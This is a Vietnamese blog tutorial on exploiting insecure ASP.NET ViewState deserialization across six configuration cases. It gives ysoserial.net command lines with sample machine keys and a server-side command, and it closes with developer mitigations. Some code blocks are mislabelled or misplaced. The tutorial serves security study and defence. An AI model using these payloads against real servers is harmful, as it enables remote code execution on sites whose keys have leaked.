Nghiên cứu .NET ViewState deserialization và cách khai thác.

Một số thuật ngữ chính

ViewState:ViewState được xem là trạng thái của page và tất cả các controls của nó. Nó tự động duy trì trạng thái của trang mặc dù trang được Postbacks. Thường thì khi một trang được postback thì mọi giá trị trên trang sẽ không được giữ lại. Để giữ lại giá trị trên trang thì bạn phải sử dụng ViewState để lưu lại giá trị đó. Các giá trị lưu trong ViewState sẽ được lần lượt lưu trữ và gửi tới client browser theo giá trị của một hidden form input. Khi bạn xem source (Trên trình duyệt của mình) của một trang sử dụng ViewState, bạn sẽ thấy hidden viewstate input được khai báo có dạng như sau:

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTM1ODM3Nj……." />
view raw 1.asp hosted with ❤ by GitHub

Tìm hiểu thêm EventValidation:Event validation kiểm tra các giá trị đến trong request POST và đảm bảo các giá trị ấy là các giá trị phù hợp. Nếu nó kiểm tra thấy một giá trị mà nó không biết, nó sẽ ném ra một exception.
Đây là tham số cũng chứa serialized data.ViewStateUserKey:Là một định danh riêng cho page phía người dùng. Nó được sử dụng để chống các cuộc tấn công CSRF. Nó có thể được set:

Một ví dụFormatters:Trình định dạng được sử dụng để chuyển đổi dữ liệu từ dạng này sang dạng khác. Ví dụ: BinaryFormatter serializes and deserializes an object, or an entire graph of connected objects, in binary format.Gadgets:Là các Classes có thể cho phép thực thi mã khi dữ liệu không tin cậy được sử lý bới chúng. Một vài ví dụ cho .Net như: PSObject, TextFormattingRunProperties and TypeConfuseDelegate.

ViewState được sử dụng như thế nào?

ViewState về cơ bản được tạo bởi máy chủ và được gửi lại cho máy khách dưới dạng một trường ẩn “_VIEWSTATE” đối với các request “POST”. Sau đó, máy khách sẽ gửi nó đến máy chủ khi hành động POST được thực hiện từ các ứng dụng web.ViewState chứa giá trị dạng serialized và được deserialized khi được gửi đến máy chủ thông qua Postback. ASP.NET có các thư viện serializing và deserializing khác nhau được gọi là các Formatter. Các Formatter chuyển đổi các đối tượng thành luồng byte và ngược lại như: ObjectStateFormatter, LOSFormatter, BinaryFormatter ASP.NET sử dụng LosFormatter để serialize ViewState và gửi nó đến máy khách dưới dạng trường ẩn. Mỗi khi ViewState từ máy khách gửi về máy chủ nó lại được deserialize bằng cách sử dụng ObjectStateFormatter.ASP.NET cũng cung cấp các tùy chọn để mã hóa ViewState bằng cách thiết lập giá trị trong file Web.config như:<page enableViewStateMac=”true” />
<page ViewStateEncryptionMode=”Always”/> Người ta có thể chọn từ các thuật toán mã hóa / xác thực khác nhau được sử dụng với ViewState.

Lấy một ví dụ, chúng ta hãy xem cách serialization và deserialization hoạt động trong .NET Chúng ta tạo một ứng dụng web sẽ nhận Input của người dùng trong một Text Area và hiển thị nó trên cùng một trang chỉ bằng một Button.Front-end code: Test.aspx

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw backen.aspx hosted with ❤ by GitHub

Back-end Code: Test.aspx.cs

<%@ Page Language=”C#” AutoEventWireup=true” CodeFile=”hello.aspx.cs” Inherits=”hello” %>
<!DOCTYPE html>
<html xmlns=”http://www.w3.org/1999/xhtml">
<head runat=”server”>
<title></title>
</head>
<body>
<form id=”form1" runat=”server”>
<asp:TextBox id=”TextArea1" TextMode=”multiline” Columns=”50" Rows=”5" runat=”server” />
<asp:Button ID=”Button1" runat=”server” OnClick=”Button1_Click”
Text=”GO” class=”btn”/>
<br />
<asp:Label ID=”Label1" runat=”server”></asp:Label>
</form>
</body>
</html>
view raw ecode.aspx hosted with ❤ by GitHub

Chúng ta đã viết một ví dụ tạo ra một serialized input sử dụng LOSFormatter khi load ứng dụng. Serialized data sau đó sẽ được lưu ra một file. When click GO button trên ứng dụng, data được đọc lại từ file rồi được deserialized với sự trợ giúp của ObjectStateFormatter.Bây giờ, hãy xem việc thực thi mã trong runtime. Ngay sau khi trang web được tải, mã sẽ được thực thi và một file có tên serialnet.txt được tạo trong thư mục “C:\Windows\temp” với serialized data thực hiện hành động:

Dưới đây là nội dung của file sau khi load ứng dụng

Mỗi khi chúng ta click Go button, lệnh cung cấp sẽ được thực hiện với sự trợ giúp của TypeConfuseDelegate gadget. Dưới đây chúng ta có thể thấy rằng file test.txt đã được tạo ra trong thư mục Temp

Đây là một mô phỏng đơn giản cho thấy cách thức ViewState Serialization and Deserialization sẽ hoạt động như thế nào trong một ứng dụng web thông qua Posback action. Điều này cũng giúp chỉ ra một thực tế là data không đáng tin cậy không nên Deserialization.Ok. Giờ chúng ta sẽ tập trung vào việc khai thác việc Deserialization không an toàn của ViewState và làm thế nào để đạt được thực thi mã từ xa. Để hiểu rõ hơn, chúng ta sẽ tìm hiểu các trường hợp khác nhau và xem xét từng trường hợp trong thực tế.Với mục đích để tạo ra các payload thể hiện quá trình Deserialization không an toàn, chúng ta sẽ sử dụng ysoserial.net cho tất cả các trường hợp thử nghiệmCASE 1: Target framework ≤4.0 (ViewState Mac is disabled):Cũng có thể vô hiệu hóa hoàn toàn MAC ViewState bằng cách thiết lập AspNetEnforceViewStateMac có giá trị là 0 trong

như dưới đây

Với trường hợp như này chúng ta sẽ đi đến giai đoan khai thác như demo sau.Front End Code:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw backen.aspx hosted with ❤ by GitHub

Back-end Code:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw backen.aspx hosted with ❤ by GitHub

Chúng ta sẽ chạy ứng dụng trong IIS và intercepted traffic bằng Burp Suite:

Có thể nhận thấy ở hình trên, sau khi thực hiện thay đổi registry key ViewState MAC đã bị vô hiệu hóa. Bây giờ chúng ta sẽ tạo một Serialized payload bằng cách sử dụng ysoserial.net như hình bên dưới

Câu lệnh sử dụng để tạo ra payload là

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
protected override void Render(HtmlTextWriter writer)
{
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
HtmlTextWriter hWriter = new HtmlTextWriter(sw);
base.Render(hWriter);
string html = sb.ToString();
html = Regex.Replace(html, “<input[^>]*id=\”(__VIEWSTATE)\”[^>]*>”, string.Empty, RegexOptions.IgnoreCase);
writer.Write(html);
}
}
public partial class hello : BasePage
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw fix.aspx hosted with ❤ by GitHub

Sử dụng payload đã được tạo ra ở trên truyền vào tham số ViewState và gửi nó đi trong HTTP request POST, chúng ta sẽ quan sát payload được thực thi như dưới đây

CASE 2: When ViewState is removed from the HTTP request:Trong trường hợp này, kịch bản mà nhà phát triển cố gắng loại bỏ ViewState khỏi HTTP request POST. Với mục đích demo chúng ta sử dụng lại Front-end code từ ví dụ trên còn Back-end code là:Back-end code:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
protected override void Render(HtmlTextWriter writer)
{
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
HtmlTextWriter hWriter = new HtmlTextWriter(sw);
base.Render(hWriter);
string html = sb.ToString();
html = Regex.Replace(html, “<input[^>]*id=\”(__VIEWSTATE)\”[^>]*>”, string.Empty, RegexOptions.IgnoreCase);
writer.Write(html);
}
}
public partial class hello : BasePage
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw fix.aspx hosted with ❤ by GitHub

Chạy ứng dụng trong IIS, chúng ta quan sát sẽ thấy rằng các HTTP request POST không gửi tham số ViewState nữa.

Mọi người có thể cho rằng nếu tham số ViewState không có mặt, thì việc triển khai của họ được bảo mật khỏi mọi lỗ hổng tiềm ẩn phát sinh với quá trình ViewState Deserialization. Tuy nhiên, nếu chúng ta thêm tham số ViewState vào request và gửi payload được tạo bằng ysoserial, chúng ta vẫn có thể đạt được việc thực thi mã như trong CASE 1 .CASE 3: Target framework ≤4.0 (ViewState Mac is enabled):Chúng ta có thể enable ViewState MAC bằng cách thay đổi trong trang cụ thể hoặc ứng dụng tổng thể.Để enable ViewState MAC cho một trang cụ thể, chúng ta cần thực hiện các thay đổi sau trên file aspx

Chúng ta cũng có thể làm điều đó cho ứng dụng tổng thể bằng cách thiết lập nó trên file Web.config như dưới đây:

<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
<machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac=”true” />
</system.web>
</configuration>
view raw Web.config hosted with ❤ by GitHub

Bây giờ, giả sử MAC đã được kích hoạt cho ViewState và do các lỗ hổng như đọc tệp cục bộ, XXE, v.v. chúng tôi có quyền truy cập vào tệp Web.config với cấu hình như validation key và thuật toán mã hóa như được hiển thị ở trên, chúng ta có thể sử dụng ysoserial.net và tạo payload bằng cách cung cấp validation key và thuật toán làm tham số.Với mục đích demo, chúng ta sẽ sử dụng một ứng dụng mẫu với code cơ bản bên dưới và với giả định rằng tệp Web.config đã bị kẻ tấn công truy cập do bất kỳ lỗ hổng đọc file nào đó.Front End Code:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
view raw FE.aspx hosted with ❤ by GitHub

Backend Code:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw bc.aspx hosted with ❤ by GitHub

Web.Config:

<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
<machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac=”true” />
</system.web>
</configuration>
view raw Web.Config hosted with ❤ by GitHub

Chạy ứng dụng trong IIS và sử dụng Burp Suite intercept

Lúc này, chúng ta có thể thấy rằng ViewState MAC đã được enable. Nếu chúng ta thấy HTTP request POST như trên, chúng ta có thể thấy không có tham số “_VIEWSTATEGENERATOR” trong HTTP request. Trong trường hợp này chúng ta sẽ cần cung cấp các biến app pathpath làm tham số cho ysoserial. Tuy nhiên, trong trường hợp chúng ta có tham số “_VIEWSTATEGENERATOR” trong HTTP request, chúng ta có thể trực tiếp cung cấp giá trị của nó cho ysoserial để tạo payload.Hãy tạo payload sử dụng ysoserial và cung cấp chính xác các thông số validation key & algorithm cùng với app path & path.

Tham số “p” ở đây có nghĩa là các plugins, “g” là các gadgets, “c” là command để thực thi trên server, “validationkey” và “validationalg” là các giá trị được lấy từ Web.config Hãy sử dụng payload được tạo này với giá trị ViewState như dưới đây:

Chúng ta nhận được một lỗi khi yêu cầu được xử lý. Tuy nhiên, chúng ta có thể thấy bên dưới rằng payload đã được thực thi và một tệp test.txt với nội dung ra “123” đã được tạo thành công.

CASE 4: Target framework ≤4.0 (Encryption is enabled for ViewState)Trước .NET 4.5, ASP.NET có thể chấp nhận tham số __VIEWSTATE không được mã hóa từ người dùng ngay cả khi ViewStateEncodingMode đã được đặt thành Always. ASP.NET chỉ kiểm tra sự hiện diện của tham số __VIEWSTATEENCRYPTED trong yêu cầu. Nếu một người loại bỏ tham số này và gửi tải trọng không được mã hóa, nó vẫn sẽ được xử lý.CASE 5: Target framework is ≥.NET 4.5Chúng ta có thể buộc sử dụng ASP.NET framework bằng cách chỉ định tham số bên dưới trong tệp Web.config như sau:

Ngoài ra, điều này có thể được thực hiện bằng cách chỉ định tùy chọn dưới, bên trong tham số machineKey của file Web.config.

Đối với ASP.NET framework ≥ 4.5, húng ta cần cung cấp decryption algorithm & decryption key cho ysoserial như sau:

Các tham sốpath & apppath có thể được quyết định với sự trợ giúp của một chút debugging. Để lấy ví dụ, chúng ta sử dụng code dưới đâyFront-end Code:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
view raw 12.aspx hosted with ❤ by GitHub

Back-end Code:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw 13.aspx hosted with ❤ by GitHub

Khi nút Go trong UI được click, request dưới đây được gửi đi. Lưu ý là giá trị của __VIEWSTATEGENERATOR là 75BBA7D6 tại thời điểm này. Với sự trợ giúp của islegacy & isdebug switch của trình tạo payload ysoserial, chúng ta có thể thử đoán các giá trị của path & apppath

Trong công cụ ysoserial, tạo ra một payload như hình dưới đây với các giá trị khác nhau của các tham số path & apppath. Khi giá trị được tạo của __VIEWSTATEGENERATOR khớp với giá trị có trong request của ứng dụng web, chúng ta có thể kết luận rằng chúng ta có các giá trị chính xác

Trong hình ở trên, yêu cầu thứ hai đã cung cấp cho chúng ta giá trị chính xác cho tham số__VIEWSTATEGENERATOR. Vì vậy, chúng ta có thể sử dụng các giá trị của path &apppath để tạo payload hợp lệ. Câu lệnh lúc này:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" –path="/test.aspx" –apppath="/" –decryptionalg="AES" –decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" –validationalg="SHA1" –validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
view raw 14.aspx hosted with ❤ by GitHub

Lưu ý rằng chúng ta cũng cần mã hóa URL payload được tạo, để có thể sử dụng nó trong ví dụ của chúng ta. Sau khi thay thế giá trị URL được mã hóa của payload tạo bằng giá trị của __VIEWSTATE trong request được hiển thị ở trên, payload của chúng ta sẽ thực thi.Điều này có thể được quan sát dưới đây:

CASE 6: ViewStateUserKey is being usedNhư đã đề cập ở phần đầu của bài viết này, thuộc tính ViewStateUserKey có thể được sử dụng để bảo vệ chống lại cuộc tấn công CSRF. Nếu một khóa như vậy đã được xác định trong ứng dụng và chúng ta cố gắng tạo payload ViewState bằng các phương thức được thảo luận cho đến bây giờ, payload sẽ không được ứng dụng xử lý. Ở đây, chúng tôi được yêu cầu chuyển một tham số khác cho trình tạo ViewState ysoserial như dưới đây:

ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" –path="/test.aspx" –apppath="/" –decryptionalg="AES" –decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" –validationalg="SHA1" –validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" –viewstateuserkey="randomstringdefinedintheserver"
view raw 15.aspx hosted with ❤ by GitHub

Dưới đây là back-end code mà chúng ta đã sử dụng để chứng minh ví dụ này:Back-end Code:


using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
void Page_Init (object sender, EventArgs e)
{
ViewStateUserKey = "randomstringdefinedintheserver";
}
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
view raw end.aspx hosted with ❤ by GitHub

Nhà phát triển nên làm gì để ngăn chặn việc khai thác như vậy?1. Nâng cấp ASP.NET framework để xác thực MAC không thể bị vô hiệu hóa.
2. Không mã hóa decryption & validation keys trong file Web.config. Thay vào đó, hãy dựa vào tính năng “Automatically generate at runtime” của IIS. Ngay cả khi tệp web.config bị xâm phạm bởi bất kỳ lỗ hổng nào khác, ví dụ như tệp cục bộ đã đọc, kẻ tấn công sẽ không thể truy xuất các giá trị của các khóa cần thiết để tạo payload.Như thế này:

Hoăc,
Mã hóa nội dung của machineKey để file Web.config bị xâm phạm sẽ không tiết lộ các giá trị có trong tham số machineKey. Một ví dụ3. Tạo lại bất kỳ khóa xác thực / giải mã bị lộ / trước đó đã bị xâm phạm.4. Không paste machineKey được tìm thấy trực tuyến trong Web.config của ứng dụng của bạn.

Leave a Reply

avatar
  Subscribe  
Notify of